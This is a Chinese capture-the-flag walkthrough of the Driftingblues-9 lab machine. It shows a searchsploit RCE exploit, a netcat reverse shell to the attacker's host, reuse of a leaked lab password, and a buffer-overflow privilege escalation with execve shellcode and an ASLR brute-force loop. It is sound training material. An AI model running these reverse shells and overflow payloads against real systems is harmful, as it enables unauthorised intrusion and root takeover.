关于我渗透Driftingblues-9靶机这档事

admin 2022年1月28日10:45:38关于我渗透Driftingblues-9靶机这档事已关闭评论101 views2字数 3958阅读13分11秒阅读模式

Download: Driftingblues-9

Found

总所周知,渗透渗透测试首先需要找到靶机的IP地址,实验环境中靶机与攻击机属于同一局域网,因此可以使用arpscan进行主机发现。

首先查看靶机MAC地址

关于我渗透Driftingblues-9靶机这档事

使用arpscan进行主机发现,成功发现改靶机IP地址

关于我渗透Driftingblues-9靶机这档事

成功找到改靶机地址为: 172.16.10.112

Collect

找到IP地址后,对靶机进行信息收集。

端口开放探测

关于我渗透Driftingblues-9靶机这档事

服务版本探测

关于我渗透Driftingblues-9靶机这档事

发现改靶机开放了80端口,使用浏览器进行访问。

关于我渗透Driftingblues-9靶机这档事

Attack

访问该页面后,发现是一个类似于博客的平台。

查看页面源代码发现该博客搭建使用ApPHP MicroBlog搭建

关于我渗透Driftingblues-9靶机这档事

在kali中使用searchsploit工具查找相关框架payload

关于我渗透Driftingblues-9靶机这档事

使用searchsploit -m 33070.py获取python脚本,运行

关于我渗透Driftingblues-9靶机这档事

脚本执行成功,可以进行远程代码执行。

关于我渗透Driftingblues-9靶机这档事

回弹shell

*kali开启监听*

nc -v -l -p 4444

关于我渗透Driftingblues-9靶机这档事

*利用远程代码执行漏洞进行反弹shell*

shell
nc 172.16.10.149 4444 -e /bin/bash

关于我渗透Driftingblues-9靶机这档事

生成tty

python -c "import pty;pty.spawn('/bin/bash')";

关于我渗透Driftingblues-9靶机这档事

Privilege Escalation

getshell后得到的www-data权限,回想到刚刚使用python脚本的时候得到了网站数据库用户密码,查看/etc/passwd文件也发现存在该用户,尝试使用得到的用户密码进行登入。

已获得的用户密码

clapton: yaraklitepe

关于我渗透Driftingblues-9靶机这档事

查看/etc/passwd文件,发现存在clapton用户,并且该用户可登入

关于我渗透Driftingblues-9靶机这档事

尝试切换用户,成功

关于我渗透Driftingblues-9靶机这档事

Get user.txt

成功登入clapton后,切换到该用户家目录,就可以发现user.txt,成功的第一步。

关于我渗透Driftingblues-9靶机这档事

Get root.txt

成功得到user.txt后,就可以将目标放到root权限上,在clapton用户的家目录中发现input可执行程序,和note.txt提示文件。

note.txt

关于我渗透Driftingblues-9靶机这档事

提示告诉我们需要使用缓冲区溢出漏洞来提权,刚好input是一个二进制可执行文件,猜测应该就是对该文件进行缓冲区溢出,从而得到root权限。

关于我渗透Driftingblues-9靶机这档事

寻找esp

*使用kali中*msf-pattern_create生成垃圾字符,并发送到input程序中。****

msf-pattern_create -l 2000

关于我渗透Driftingblues-9靶机这档事

*使用gdb进行动态调试。*

gdb -q input
r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

关于我渗透Driftingblues-9靶机这档事

0x41376641处得到了分段错误。

*寻找偏移量*

kali中使用msf-pattern_offset工具定位偏移量

msf-pattern_offset -l 2000 -q 41376641

关于我渗透Driftingblues-9靶机这档事

返回结果171,说明偏移量为171

*验证*

使用python创建语句,输入包括具有171个A, 4个B和500个\x90的简单输入。

gdb -q input
r $(python2 -c 'print "A" * 171 + "B" * 4 + "\x90" * 500')

关于我渗透Driftingblues-9靶机这档事

esp 寄存器内容成功替换成 4 个 B

查看此时esp地址,用小端顺序(以相反的顺序)替换了 4 个 B

关于我渗透Driftingblues-9靶机这档事

gdb -q input
r $(python2 -c 'print "A" * 171 + "\x10\x0e\xe0\xbf" + "\x90" * 500')

目标上启用了 ASLR ( Address Space Layout Randomization,地址空间布局随机化。)

  • *0:没有随机化。即关闭 ASLR。*
  • *1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。*
  • *2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。*

关于我渗透Driftingblues-9靶机这档事

生成单次执行payload,使用的是Linux/x86 - execve(/bin/sh) + NOT Encoded Shellcode (27 bytes)的payload

python -c 'print "A" * 171 + "\x10\x0e\xe0\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')

因为靶机开启了ASLR,因此,我们必须多次迭代相同的代码行。

for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\x10\x0e\xe0\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done

关于我渗透Driftingblues-9靶机这档事

最终得到root权限

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月28日10:45:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于我渗透Driftingblues-9靶机这档事http://cn-sec.com/archives/757904.html